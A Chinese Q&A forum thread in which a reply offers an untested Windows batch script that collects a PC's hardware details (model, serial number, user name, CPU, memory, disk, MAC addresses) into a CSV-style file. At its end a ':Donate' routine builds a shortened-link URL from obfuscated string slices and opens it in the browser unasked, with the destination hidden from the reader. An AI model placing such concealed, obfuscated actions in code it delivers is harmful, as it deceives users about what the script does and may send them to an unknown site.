...获取每一部电脑的的配置信息之后导出txt文件,可以的话导出Excel文件...

发布网友 发布时间：2024-10-24 13:05

我来回答

共1个回答

热心网友 时间：2025-01-10 07:30

很遗憾，我只会输出为CSV格式的，没法弄成xls表格形式的。虽然csv格式可以已表格的形式打开，但没有真正表格那样显示的完美。能力有限，为力。

@echo off & title 获取本机简要配置信息 By 依梦琴瑶
 
::设置信息保存路径
set Log=C:\info.xls
 
echo WScript.Echo Wscript.Arguments(0) / (1024 * 1024 * 1024)>Calculation.vbs
echo 正在获取信息中 ...

for /f "tokens=2 delims==" %%a in ('wmic csproduct get Name /value ^| findstr /i "Name"') do set Model=%%~a
for /f "tokens=2 delims==" %%a in ('wmic csproduct get Vendor /value ^| findstr /i "Vendor"') do set Vendor=%%~a
for /f "tokens=2 delims==" %%a in ('wmic csproduct get IdentifyingNumber /value ^| findstr /i "IdentifyingNumber"') do set SN=%%~a
for /f "tokens=2 delims==" %%a in ('wmic cpu get Name /value ^| findstr /i "Name"') do set CPU=%%~a
for /f "tokens=2 delims==" %%a in ('wmic memorychip get Capacity /value ^| findstr /i "Capacity"') do (
    for /f "tokens=1 delims=." %%b in ('cscript /nologo Calculation.vbs "%%~a"') do set /a m+=%%~b
)
set MEM=%m% GB
for /f "tokens=2 delims==" %%a in ('wmic DiskDrive get Size /value ^| findstr /i "Size"') do  (
    for /f "tokens=1 delims=." %%b in ('cscript /nologo Calculation.vbs "%%~a"') do set /a d+=%%~b
)
set Size=%d% GB
for /f "tokens=2 delims==" %%a in ('wmic nic where "netconnectionid!=NULL" get macaddress /value ^| findstr /i "MACAddress"') do call set MAC=%%MAC%% %%~a

(echo "电脑型号：","制 造 商：","SN序列号：","登 录 名：","计算机名：","处 理 器：","内存容量：","硬盘容量：","MAC 地址："
echo "%Model%","%Vendor%","%SN%","%USERNAME%","%COMPUTERNAME%","%CPU%","%MEM%","%Size%","%MAC%")>"%Log%"
del Calculation.vbs
echo 信息获取，并保存。
pause

call :Donate
exit

:Donate
set S0=fGRH
set S1=.:ailnhpst/
set S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%
set S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit

能做的就只能这样了。手机上编写。尚未实测。